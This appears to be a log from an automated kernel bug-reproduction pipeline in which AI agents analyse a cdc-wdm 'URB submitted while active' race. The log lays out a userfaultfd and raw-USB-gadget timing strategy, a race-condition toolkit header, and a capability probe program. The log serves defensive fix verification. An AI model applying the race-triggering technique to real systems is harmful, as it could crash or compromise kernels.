I've been digging into this potential race condition, specifically focusing on how URBs are submitted after an interrupt endpoint stall, and I think I've pinpointed the exact sequence of events that leads to the "URB submitted while active" warning. It seems the core issue lies in the interaction between the workqueue (`wdm_rxwork`) triggered by an interrupt stall and the handling of outstanding interrupt notifications within a read operation (`service_outstanding_interrupt`).
Initially, I was concerned that `wdm_rxwork` wasn't clearing the stall as the comment suggested, and it became clear that `wdm_rxwork` solely focuses on submitting the `desc->response` URB. The flow where `wdm_int_callback` receives an `-EPIPE` and schedules `wdm_rxwork` is valid, but the critical part is *what* `wdm_rxwork` does with `desc->response`, which is the control URB for endpoint 0, while the stall was on the interrupt endpoint. It submits this read URB without any regard for `desc->resp_count`.
My initial trace showed a scenario where `desc->resp_count` was 0, and `wdm_read` eventually proceeded safely. However, the problem arises when `desc->resp_count` is greater than 0. If `desc->resp_count` is 1, `wdm_read`'s `service_outstanding_interrupt` would decrement it to 0 and gracefully exit without submitting the URB. This means the URB would only be submitted by `wdm_rxwork`, avoiding a race.
The key insight came when I realized that to trigger the race, `service_outstanding_interrupt` *must* also attempt to submit the URB. This requires `desc->resp_count` to be at least 2 when `service_outstanding_interrupt` is called. This means we need to receive at least two interrupt notifications before the stall occurs.
Here's the crucial part of the sequence that I believe causes the race:
1. **Two Notifications are Sent:** The device first sends a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE`. This increments `desc->resp_count` to 1, and the host submits the control read URB (`desc->response`). Then, critically, the device sends a *second* `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` *before* the first control read URB completes. This second notification increments `desc->resp_count` to 2. However, since the first URB is still active, the host does *not* submit another control read URB at this point.
2. **URB Completes, Clearing `WDM_RESPONDING`:** The first control read URB then completes with data. The `wdm_in_callback` handler copies the data, sets `desc->length` to a positive value, and, importantly, *clears* the `WDM_RESPONDING` flag. This leaves us with `desc->resp_count` at 2 and `WDM_RESPONDING` at 0.
3. **`read()` Blocks:** A userspace `read()` call is initiated. This `read()` call enters `copy_to_user` and blocks, for instance, via `userfaultfd`.
4. **Interrupt Stall Occurs:** The device then sends a STALL on the interrupt endpoint. The host receives this as `-EPIPE`, and `wdm_int_callback` schedules `wdm_rxwork`.
5. **`wdm_rxwork` Submits:** `wdm_rxwork` runs. Because `WDM_RESPONDING` is currently 0 (cleared by `wdm_in_callback`), it passes the `!responding` check, sets `WDM_RESPONDING` to 1, and proceeds to submit the `desc->response` URB.
6. **`read()` Resumes and `service_outstanding_interrupt` Submits:** Simultaneously, or very shortly after, the `userfaultfd` page fault is resolved, `copy_to_user` completes, and the `read()` function calls `service_outstanding_interrupt`. Since `desc->resp_count` is 2, it decrements it to 1, passes the `!desc->resp_count || !--desc->resp_count` check, sets `WDM_RESPONDING` (which is already 1), and also proceeds to submit the *same* `desc->response` URB.
This concurrent submission by both `wdm_rxwork` and `service_outstanding_interrupt` is what triggers the "URB submitted while active" warning. The sequence requires careful timing: the second notification must arrive while the first URB is still in flight, allowing `wdm_in_callback` to clear `WDM_RESPONDING` before the stall occurs and both `wdm_rxwork` and `service_outstanding_interrupt` attempt to submit the URB.
My proposed reproduction strategy involves setting up a raw USB gadget to emulate a CDC WDM device. We would send two notifications consecutively, respond to the first control read URB with data, block the `read()` call using `userfaultfd`, then send a stall on the interrupt endpoint. Upon unblocking the `read()`, we should reliably hit this race condition.
|
| 32/1 |
2026/09/11 22:02 |
loop |
|
1h51m
|
| 33/2 |
2026/09/11 22:03 |
iteration |
0 |
4m
|
| 34/3 |
2026/09/11 22:03 |
action |
If |
0m
Args:
|
| 35/3 |
2026/09/11 22:03 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:This is a classic race condition in the CDC WDM driver where two different execution contexts concurrently submit the same Control Read URB (`desc->response`), triggering the `URB submitted while active` warning.
### Root Cause Analysis
The `desc->response` URB is submitted in three places:
1. `wdm_int_callback()`: When a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification is received and `desc->resp_count` was 0.
2. `service_outstanding_interrupt()`: Called by `wdm_read()` when it finishes reading data, provided `desc->resp_count` is still > 0 (meaning more notifications are pending).
3. `wdm_rxwork()`: A workqueue scheduled if the interrupt endpoint stalls (`-EPIPE`) or if `usb_submit_urb` fails with `-ENOMEM`.
The race occurs between `wdm_rxwork()` and `service_outstanding_interrupt()`:
- When the interrupt endpoint stalls, `wdm_int_callback()` jumps to the `sw:` label, scheduling `wdm_rxwork()`.
- `wdm_rxwork()` checks and sets the `WDM_RESPONDING` bit. If it was 0, it drops the `iuspin` lock and calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
- Concurrently, if a userspace `read()` finishes consuming previously received data, it calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `desc->resp_count`. If it remains > 0, it also sets `WDM_RESPONDING`, drops the `iuspin` lock, and calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
If both threads drop the `iuspin` lock and call `usb_submit_urb()` at the same time, the URB is submitted twice, triggering the warning.
To achieve the necessary state (`desc->resp_count >= 2` and `WDM_RESPONDING == 0`), the device must send a second notification *before* responding to the first Control Read URB. The second notification increments `resp_count` to 2 but doesn't submit the URB (since it's already active). When the first URB completes, `wdm_in_callback()` clears `WDM_RESPONDING`, leaving the perfect state for the race.
### Reproduction Strategy
We can reliably reproduce this without fault injection by using a USB Raw Gadget and `userfaultfd` to control the timing.
1. **Setup USB Gadget**: Emulate a CDC WDM device with a Control endpoint (ep0) and an Interrupt IN endpoint (ep1).
2. **First Notification**: The gadget sends a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on ep1. The host driver increments `desc->resp_count` to 1 and submits the Control Read URB to ep0.
3. **Second Notification**: *Before* responding to the Control Read URB, the gadget sends a second `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on ep1. The host increments `desc->resp_count` to 2, but does not submit a new URB.
4. **Data Response**: The gadget now responds to the pending Control Read URB on ep0 with some data (e.g., 10 bytes). The host copies this data, clears `WDM_RESPONDING`, and wakes up any readers.
5. **Block `read()`**: A userspace program sets up a `userfaultfd` region and calls `read(/dev/cdc-wdmX, buf, 10)`. The `read()` syscall blocks inside `copy_to_user()` waiting for the page fault to be resolved.
6. **Trigger `wdm_rxwork`**: The gadget sends a STALL (HALT) on the ep1 Interrupt IN endpoint. The host receives `-EPIPE`, which schedules `wdm_rxwork()`.
7. **Win the Race**:
- `wdm_rxwork()` starts executing, sets `WDM_RESPONDING`, drops the lock, and prepares to submit the URB.
- The userspace program resolves the `userfaultfd` page fault.
- `read()` finishes `copy_to_user()`, sees the buffer is empty, and calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `resp_count` from 2 to 1, drops the lock, and also prepares to submit the URB.
8. Both contexts concurrently call `usb_submit_urb()` on `desc->response`, triggering the `URB submitted while active` WARNING.]
|
| 36/3 |
2026/09/11 22:03 |
agent |
repro-generator |
0m
Model:
Results: map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
int main() {
printf("[*] Probing for /dev/raw-gadget...\n");
int fd = open("/dev/raw-gadget", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/raw-gadget opened successfully.\n");
close(fd);
printf("[*] Probing for userfaultfd...\n");
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd < 0) {
printf("[-] Failed to create userfaultfd: %s\n", strerror(errno));
return 1;
}
printf("[+] userfaultfd created successfully.\n");
close(uffd);
printf("[+] All probes passed.\n");
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.
To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
systems, makefiles, and kernel build/header directories) is NOT available
on the target test VM guest. Do NOT check for, build, or reference any
compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
functions like 'system()', 'popen()', or the 'exec' family such as
'execve()'). All environment checks, capability probings, and reproduction
steps must be performed directly using standard Linux system calls (such
as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
include a sufficient delay (using sleep or similar) after deleting
or unregistering the device to allow the kernel's asynchronous
timeout to trigger before program exit.
=== PHASE 1: CAPABILITY PROBING (GENERATION) ===
You MUST start by generating a simple 'probe' program first. This is a strict, non-negotiable requirement
to verify that the test environment has the necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when CapabilitiesVerified becomes true).
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
Strategy: This is a classic race condition in the CDC WDM driver where two different execution contexts concurrently submit the same Control Read URB (`desc->response`), triggering the `URB submitted while active` warning.
### Root Cause Analysis
The `desc->response` URB is submitted in three places:
1. `wdm_int_callback()`: When a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification is received and `desc->resp_count` was 0.
2. `service_outstanding_interrupt()`: Called by `wdm_read()` when it finishes reading data, provided `desc->resp_count` is still > 0 (meaning more notifications are pending).
3. `wdm_rxwork()`: A workqueue scheduled if the interrupt endpoint stalls (`-EPIPE`) or if `usb_submit_urb` fails with `-ENOMEM`.
The race occurs between `wdm_rxwork()` and `service_outstanding_interrupt()`:
- When the interrupt endpoint stalls, `wdm_int_callback()` jumps to the `sw:` label, scheduling `wdm_rxwork()`.
- `wdm_rxwork()` checks and sets the `WDM_RESPONDING` bit. If it was 0, it drops the `iuspin` lock and calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
- Concurrently, if a userspace `read()` finishes consuming previously received data, it calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `desc->resp_count`. If it remains > 0, it also sets `WDM_RESPONDING`, drops the `iuspin` lock, and calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
If both threads drop the `iuspin` lock and call `usb_submit_urb()` at the same time, the URB is submitted twice, triggering the warning.
To achieve the necessary state (`desc->resp_count >= 2` and `WDM_RESPONDING == 0`), the device must send a second notification *before* responding to the first Control Read URB. The second notification increments `resp_count` to 2 but doesn't submit the URB (since it's already active). When the first URB completes, `wdm_in_callback()` clears `WDM_RESPONDING`, leaving the perfect state for the race.
### Reproduction Strategy
We can reliably reproduce this without fault injection by using a USB Raw Gadget and `userfaultfd` to control the timing.
1. **Setup USB Gadget**: Emulate a CDC WDM device with a Control endpoint (ep0) and an Interrupt IN endpoint (ep1).
2. **First Notification**: The gadget sends a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on ep1. The host driver increments `desc->resp_count` to 1 and submits the Control Read URB to ep0.
3. **Second Notification**: *Before* responding to the Control Read URB, the gadget sends a second `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on ep1. The host increments `desc->resp_count` to 2, but does not submit a new URB.
4. **Data Response**: The gadget now responds to the pending Control Read URB on ep0 with some data (e.g., 10 bytes). The host copies this data, clears `WDM_RESPONDING`, and wakes up any readers.
5. **Block `read()`**: A userspace program sets up a `userfaultfd` region and calls `read(/dev/cdc-wdmX, buf, 10)`. The `read()` syscall blocks inside `copy_to_user()` waiting for the page fault to be resolved.
6. **Trigger `wdm_rxwork`**: The gadget sends a STALL (HALT) on the ep1 Interrupt IN endpoint. The host receives `-EPIPE`, which schedules `wdm_rxwork()`.
7. **Win the Race**:
- `wdm_rxwork()` starts executing, sets `WDM_RESPONDING`, drops the lock, and prepares to submit the URB.
- The userspace program resolves the `userfaultfd` page fault.
- `read()` finishes `copy_to_user()`, sees the buffer is empty, and calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `resp_count` from 2 to 1, drops the lock, and also prepares to submit the URB.
8. Both contexts concurrently call `usb_submit_urb()` on `desc->response`, triggering the `URB submitted while active` WARNING.
|
| 37/4 |
2026/09/11 22:03 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 6113
output: 16
thoughts: 326
Thoughts: **My Thought Process for Developing a Reproducer for the `URB submitted while active` Warning**
My objective is to craft a C reproducer for a specific warning: "`URB submitted while active`" that arises within the `usb_submit_urb` function, when called from `service_outstanding_interrupt` in the `drivers/usb/class/cdc-wdm.c` driver. This indicates a race condition within the CDC WDM driver that I need to expose reliably.
The initial strategy I'm considering involves leveraging USB Raw Gadget and `userfaultfd` to precisely control the timing of events, which is crucial for triggering race conditions.
However, I've just realized a strict, non-negotiable requirement: before I even *begin* on the reproducer, I *must* first generate a simple "probe" program. The sole purpose of this probe program is to verify that my testing environment possesses the necessary kernel capabilities and privileges. It's about confirming subsystem availability.
So, my immediate next step is to build this probe. This program needs to check for the availability of the key components I intend to use later. Specifically, I need to confirm if USB Raw Gadget is accessible, which I can do by checking for the existence and accessibility of `/dev/raw-gadget`. I also recall that `syzkaller`, a tool I might draw inspiration from or interact with, uses `dummy_hcd` and `/dev/raw-gadget`. Therefore, verifying the presence of `/dev/raw-gadget` is paramount.
Furthermore, the original strategy mentioned `userfaultfd`. This suggests it might be a critical component for my timing control. Therefore, my probe program must also check for the availability of `userfaultfd` syscall support.
In essence, my immediate focus is on creating a straightforward C program that attempts to open `/dev/raw-gadget` and explicitly checks for `userfaultfd` functionality. This will be my foundational step to ensure my environment is correctly configured before I proceed with the more complex reproducer development.
|
| 38/4 |
2026/09/11 22:03 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
]
|
| 39/4 |
2026/09/11 22:03 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 8121
output: 334
thoughts: 370
Thoughts: **My Thought Process: Developing a System Probe for `/dev/raw-gadget` and `userfaultfd`**
My primary objective here is to ascertain the availability and accessibility of two critical system components: `/dev/raw-gadget` and `userfaultfd`. This is a foundational step in any system interaction where I intend to leverage these specific functionalities, likely as a prerequisite for more complex operations such as USB gadget mode configuration or advanced memory management techniques.
To achieve this, I decided the most direct and robust approach would be to write a concise C program. This is a standard practice for me when I need fine-grained control and immediate feedback on low-level system interactions. A C program allows me to precisely control file descriptor management, error handling, and direct system calls, which is crucial when dealing with device nodes and kernel interfaces.
The first part of my thought process focused on `/dev/raw-gadget`. I know this device node is the primary interface for interacting with the kernel's USB gadget framework. My immediate goal is to confirm if it even exists and if my current process has the necessary permissions to open it for both reading and writing. Therefore, a simple `open()` system call with `O_RDWR` flags is the logical first step. I'll also need to wrap this in error handling, specifically checking the return value of `open()`. If it's less than zero, an error has occurred. I'll then use `strerror(errno)` to get a human-readable description of the failure, which is invaluable for debugging. If successful, I'll print a clear success message and promptly `close()` the file descriptor to release system resources.
Next, I turn my attention to `userfaultfd`. This is a more specialized kernel feature for handling page faults programmatically. The standard way to interact with it is through the `userfaultfd()` system call itself. I need to determine if this system call is supported and if I can successfully initiate an `userfaultfd` context. The system call number for `userfaultfd` is available in `linux/userfaultfd.h` as `__NR_userfaultfd`. I decided to use `O_CLOEXEC` to ensure that the file descriptor is closed when the program executes a new one (execve), and `O_NONBLOCK` to prevent the call from blocking indefinitely if there's an issue. Again, rigorous error checking is paramount. A return value less than zero signifies a failure. I'll log the error using `strerror(errno)` for diagnostics. Upon successful creation, I'll confirm it with a success message and, just like with `/dev/raw-gadget`, I'll immediately `close()` the `uffd` file descriptor.
Finally, if both of these checks pass without encountering any errors, I'll conclude that the necessary system components are available and accessible. This leads to a final success message, indicating that my probe has completed its task successfully and the system is ready for further operations involving `/dev/raw-gadget` and `userfaultfd`. The entire program is designed for clarity and immediate feedback, allowing me to quickly assess the system's readiness.
The subsequent step, as I've outlined, is to integrate the results of this probe with a `set-results` mechanism. This implies that the output of this program – be it success or failure messages, or perhaps exit codes – will be consumed by another part of my overall system or workflow to trigger subsequent actions or configurations.
|
| 40/4 |
2026/09/11 22:03 |
tool |
set-results |
0m
Args: map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
int main() {
printf("[*] Probing for /dev/raw-gadget...\n");
int fd = open("/dev/raw-gadget", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/raw-gadget opened successfully.\n");
close(fd);
printf("[*] Probing for userfaultfd...\n");
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd < 0) {
printf("[-] Failed to create userfaultfd: %s\n", strerror(errno));
return 1;
}
printf("[+] userfaultfd created successfully.\n");
close(uffd);
printf("[+] All probes passed.\n");
return 0;
}
]
Results: map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
int main() {
printf("[*] Probing for /dev/raw-gadget...\n");
int fd = open("/dev/raw-gadget", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/raw-gadget opened successfully.\n");
close(fd);
printf("[*] Probing for userfaultfd...\n");
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd < 0) {
printf("[-] Failed to create userfaultfd: %s\n", strerror(errno));
return 1;
}
printf("[+] userfaultfd created successfully.\n");
close(uffd);
printf("[+] All probes passed.\n");
return 0;
}
]
|
| 41/3 |
2026/09/11 22:03 |
loop |
|
0m
|
| 42/4 |
2026/09/11 22:04 |
iteration |
0 |
0m
|
| 43/5 |
2026/09/11 22:04 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
int main() {
printf("[*] Probing for /dev/raw-gadget...\n");
int fd = open("/dev/raw-gadget", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/raw-gadget opened successfully.\n");
close(fd);
printf("[*] Probing for userfaultfd...\n");
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd < 0) {
printf("[-] Failed to create userfaultfd: %s\n", strerror(errno));
return 1;
}
printf("[+] userfaultfd created successfully.\n");
close(uffd);
printf("[+] All probes passed.\n");
return 0;
}
]
|
| 44/5 |
2026/09/11 22:04 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
int main() {
printf("[*] Probing for /dev/raw-gadget...\n");
int fd = open("/dev/raw-gadget", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/raw-gadget opened successfully.\n");
close(fd);
printf("[*] Probing for userfaultfd...\n");
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd < 0) {
printf("[-] Failed to create userfaultfd: %s\n", strerror(errno));
return 1;
}
printf("[+] userfaultfd created successfully.\n");
close(uffd);
printf("[+] All probes passed.\n");
return 0;
}
]
|
| 45/5 |
2026/09/11 22:04 |
action |
If |
0m
Args:
|
| 46/3 |
2026/09/11 22:04 |
action |
run-c-repro |
2m
Results: map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[ 62.203870][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 62.206621][ T33] audit: type=1400 audit(1789164320.243:201): avc: denied { transition } for pid=5828 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.217120][ T33] audit: type=1400 audit(1789164320.243:202): avc: denied { noatsecure } for pid=5828 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 62.225613][ T33] audit: type=1400 audit(1789164320.243:203): avc: denied { rlimitinh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
